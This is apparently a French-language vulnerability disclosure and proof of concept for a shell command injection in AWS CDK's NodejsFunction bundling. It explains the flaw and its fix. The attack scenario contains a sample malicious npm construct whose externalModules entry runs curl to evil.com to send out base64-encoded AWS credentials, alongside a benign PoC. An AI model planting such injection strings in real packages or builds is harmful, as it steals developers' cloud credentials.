Analyse technique et Preuve de Concept (PoC) pour CVE-2026-11417 : Injection de commandes OS / Exécution de code à distance (RCE) dans NodejsFunction d'AWS CDK.
Auteur : Hesham Ashraf (@HeshamASH)
Date : 10 juin 2026
Sévérité : Élevée (CVSSv3.1 : 7.3, CVSSv4 : 7.0)
CWE : CWE-78 — Neutralisation incorrecte d'éléments spéciaux utilisés dans une commande OS (Injection de commande OS)
Package affecté : aws-cdk-lib (npm), toutes les versions antérieures à la 2.245.0
Fournisseur : Amazon Web Services (AWS)
Statut : Corrigé (PR #37292, PR #37412) | CVE : CVE-2026-11417 | Bulletin : AWS-2026-041 | Avis : GHSA-999r-qq7v-r334
J'ai découvert une vulnérabilité d'injection de commande dans le kit de développement Cloud AWS (CDK) qui permettait à un attaquant d'obtenir une exécution de code à distance (RCE) sur toute machine exécutant cdk synth — y compris les postes de travail des développeurs et les pipelines CI/CD — en publiant un package npm malveillant ou en soumettant une Pull Request malveillante.
La vulnérabilité existait parce que le construct NodejsFunction de aws-cdk-lib interpolait directement des chaînes contrôlées par l'utilisateur dans une commande shell sans assainissement, puis l'exécutait via bash -c / cmd /c. AWS a corrigé le problème en remplaçant l'exécution basée sur le shell par des tableaux d'arguments directs spawnSync.
Le kit de développement Cloud AWS (CDK) est un framework open-source largement utilisé pour définir l'infrastructure cloud en tant que code. Il est utilisé par des dizaines de milliers de développeurs et de pipelines CI/CD pour synthétiser et déployer des piles AWS CloudFormation.
Le construct NodejsFunction est l'un des plus populaires des constructs L2 du CDK. Il regroupe les fonctions Lambda TypeScript/JavaScript à l'aide d'esbuild pendant la phase de synthèse (cdk synth).
Le chemin de groupement local du construct NodejsFunction construisait une chaîne de commande shell en interpolant directement plusieurs propriétés contrôlées par l'utilisateur sans aucun assainissement :
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (avant correctif)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
...this.externals.map(external => `--external:${external}`), // PAS D'ÉCHAPPEMENT
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // PAS D'ÉCHAPPEMENT
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NON ÉCHAPPÉE
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // PAS D'ÉCHAPPEMENT
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // PAS D'ÉCHAPPEMENT
];
Le tableau était ensuite concaténé en une seule chaîne et passé à un shell :
// La commande jointe est passée directement au shell OS
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c', localCommand],
{ /* ... */ }
);
Les métacaractères du shell comme &, ;, |, ` et $(...) dans l'une des propriétés injectables seraient interprétés par le shell comme des séparateurs de commandes, permettant l'exécution de commandes arbitraires.
| Propriété | Assainissement | Niveau de risque |
|---|---|---|
externalModules | Aucun | Critique |
define (clés) | Aucun (valeurs utilisent JSON.stringify) | Critique |
loader (clés) | Aucun | Critique |
inject | Aucun | Critique |
esbuildArgs (clés/valeurs) | Aucun | Critique |
Cette vulnérabilité est particulièrement dangereuse car l'injection a lieu au niveau de la synthèse du CDK, pas pendant npm install. Ainsi, les mesures de sécurité npm standard comme --ignore-scripts n'offrent aucune protection.
Un attaquant publie un package npm en apparence légitime qui encapsule NodejsFunction :
// Publié sous le nom "convenient-lambda" sur npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// Charge utile cachée parmi des externals légitimes
'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
Lorsqu'un développeur installe ce package et exécute cdk synth, le CDK construit :
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)
Le caractère & divise ceci en deux commandes shell indépendantes :
npx esbuild --bundle handler.ts --external:lodash — esbuild fonctionne normalementcurl https://evil.com/... — la charge utile de l'attaquant exfiltre les informations d'identification AWS| Défense | Efficace ? | Pourquoi |
|---|---|---|
npm install --ignore-scripts | Non | L'injection a lieu pendant cdk synth, pas pendant l'installation du package |
Revue de code de package.json | Non | La charge utile se trouve dans le code TypeScript du construct, pas dans les scripts |
| npm audit | Non | Le package ne contient aucune vulnérabilité connue |
| Intégrité du lockfile | Non | Le package lui-même est installé correctement |
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts
app.ts avec la charge utile d'injectionimport * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
class PoCStack extends Stack {
constructor(scope, id) {
super(scope, id);
new NodejsFunction(this, 'Fn', {
entry: path.join(__dirname, 'lambda', 'handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
externalModules: ['foo & echo PWNED > pwned.txt'],
},
});
}
}
const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();
npx ts-node app.ts
cat pwned.txt
# Output: PWNED
Le fichier pwned.txt est créé, confirmant l'exécution de commande arbitraire sur la machine hôte.
spawnSync basé sur des tableauxLe correctif central remplace la construction de chaîne de commande shell par un spawnSync direct utilisant des tableaux d'arguments :
- // Avant : chaîne de commande interprétée par le shell
- exec('bash', ['-c', esbuildCommand.join(' ')]);
+ // Après : tableau d'arguments direct (pas d'interprétation du shell)
+ spawnSync(command, args, { /* no shell */ });